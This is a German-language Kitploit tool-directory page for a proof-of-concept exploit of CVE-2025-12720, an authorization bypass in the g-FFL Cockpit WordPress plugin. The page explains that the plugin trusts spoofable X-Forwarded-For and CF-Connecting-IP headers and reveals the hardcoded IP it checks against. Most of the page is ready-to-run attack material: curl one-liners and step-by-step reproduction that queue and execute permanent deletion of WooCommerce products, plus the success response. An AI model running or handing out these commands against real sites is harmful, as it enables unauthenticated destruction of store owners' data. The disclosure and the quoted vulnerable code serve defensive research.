Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-12720 — g-FFL Cockpit <= 1.7.1 - Nicht ordnungsgemäße Autorisierung zu nicht authentifizierter Produktlöschung | Kitploit
Tools/GitHubGitHub/d0n601/cve-2025-12720
SchwachstellenanalyseExploitationWebanwendungs-ExploitationAPI-SicherheitstestsAuthentifizierungFehlkonfiguration
GitHubd0n601/cve-2025-12720

CVE-2025-12720

g-FFL Cockpit <= 1.7.1 - Nicht ordnungsgemäße Autorisierung zu nicht authentifizierter Produktlöschung

Repository anzeigen
6vor 10 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

g-FFL Cockpit <= 1.7.1 - Nicht authentifizierte willkürliche Produktlöschung

Das g-FFL Cockpit Plugin implementiert keine ordnungsgemäßen Autorisierungsprüfungen auf den queue und process REST-API-Endpunkten, sodass nicht authentifizierte Benutzer beliebige WooCommerce-Produkte löschen können, indem sie HTTP-Header manipulieren, um die IP-basierte Authentifizierung zu umgehen.

TL;DR Exploits

root@kitploit:~
TARGET_SITE="http://example.com"
curl -X POST $TARGET_SITE/wp-json/fflcockpit/v1/queue -H "X-Forwarded-For: 3.212.185.187" -H "Content-Type: application/json" -d '{"action":"delete","products":[{"id":105}]}' && curl -X POST $TARGET_SITE/wp-json/fflcockpit/v1/process -H "X-Forwarded-For: 3.212.185.187" -H "Content-Type: application/json"

Details

Die und REST-API-Endpunkte verwenden eine IP-basierte Authentifizierung, die durch Spoofing der - oder -HTTP-Header umgangen werden kann. Der Authentifizierungsmechanismus stützt sich auf , die benutzerkontrollierbare Header vertraut, und prüft gegen eine fest codierte IP-Adresse, die im Plugin-Quellcode gespeichert ist.

queue
process
X-Forwarded-For
CF-Connecting-IP
get_client_ip()

Befindet sich in class-sync-endpoint.php:

root@kitploit:~
34:        register_rest_route('fflcockpit/v1', '/queue', [
35:            'methods' => 'POST',
36:            'callback' => [__CLASS__, 'handle_enqueue_only'],
37:            'permission_callback' => fn() => self::fflcockpit_is_allowed(self::$fflckey),
38:        ]);

Die Funktion fflcockpit_is_allowed() verwendet eine fest codierte IP-Adresse (base64: My4yMTIuMTg1LjE4Nw==, dekodiert: 3.212.185.187), die im Plugin-Quellcode sichtbar ist.

Anfälliges Snippet aus class-sync-endpoint.php:

root@kitploit:~
11:    private static function get_client_ip(): string {
12:        $ip = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
13:        if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
14:            // CloudFlare can also have multiple IPs, parse like X-Forwarded-For
15:            $cf_ips = explode(',', $_SERVER['HTTP_CF_CONNECTING_IP']);
16:            $ip = trim($cf_ips[0]);  // ⚠️ Trusts user-controlled header
17:        } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
18:            $forwarded_ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
19:            $ip = trim($forwarded_ips[0]);  // ⚠️ Trusts user-controlled header
20:        }
21:        return trim($ip);
22:    }

Die Funktion process_product() leitet Löschoperationen an sql_delete_product() weiter, die eine direkte SQL-Löschung von WooCommerce-Produkten durchführt.

Anfällige Löschimplementierung aus class-update-processor.php:

root@kitploit:~
634:            // Delete the product post
635:            $deleted = $wpdb->delete($wpdb->posts, ['ID' => $product_id], ['%d']);
636:
637:            if ($deleted === false) {
638:                $wpdb->query('ROLLBACK');
639:                throw new Exception('Failed to delete product from database.');
640:            }
641:
642:            $deleted_items[] = "product_post";
643:
644:            $wpdb->query('COMMIT');

Manuelle Reproduktion

Hinweis: g-FFL Cockpit benötigt WooCommerce

  1. Navigieren Sie zur Ziel-WordPress-Seite mit dem installierten g-FFL Cockpit-Plugin.

  2. Extrahieren Sie die fest codierte IP-Adresse aus dem Plugin-Quellcode. Die IP ist base64-kodiert als My4yMTIuMTg1LjE4Nw== in class-sync-endpoint.php, was zu 3.212.185.187 dekodiert.

  3. Führen Sie die folgenden curl-Befehle aus, um die Produktlöschung in die Warteschlange zu stellen und zu verarbeiten:

root@kitploit:~
curl -X POST http://techcorp.cc/wp-json/fflcockpit/v1/queue \
  -H "X-Forwarded-For: 3.212.185.187" \
  -H "Content-Type: application/json" \
  -d '{"action": "delete", "products": [{"id": 105}]}'
  1. Verarbeiten Sie die eingereihte Löschung, um die tatsächliche Produktentfernung auszuführen:
root@kitploit:~
curl -X POST http://techcorp.cc/wp-json/fflcockpit/v1/process \
  -H "X-Forwarded-For: 3.212.185.187" \
  -H "Content-Type: application/json"
  1. Sie erhalten eine Bestätigung, dass die Löschung abgeschlossen wurde:
root@kitploit:~
{
  "status": "completed"
}

Das Produkt wird dauerhaft aus der WooCommerce-Datenbank gelöscht, einschließlich aller zugehörigen Metadaten, Begriffszuordnungen und Bilder.

Tool herunterladen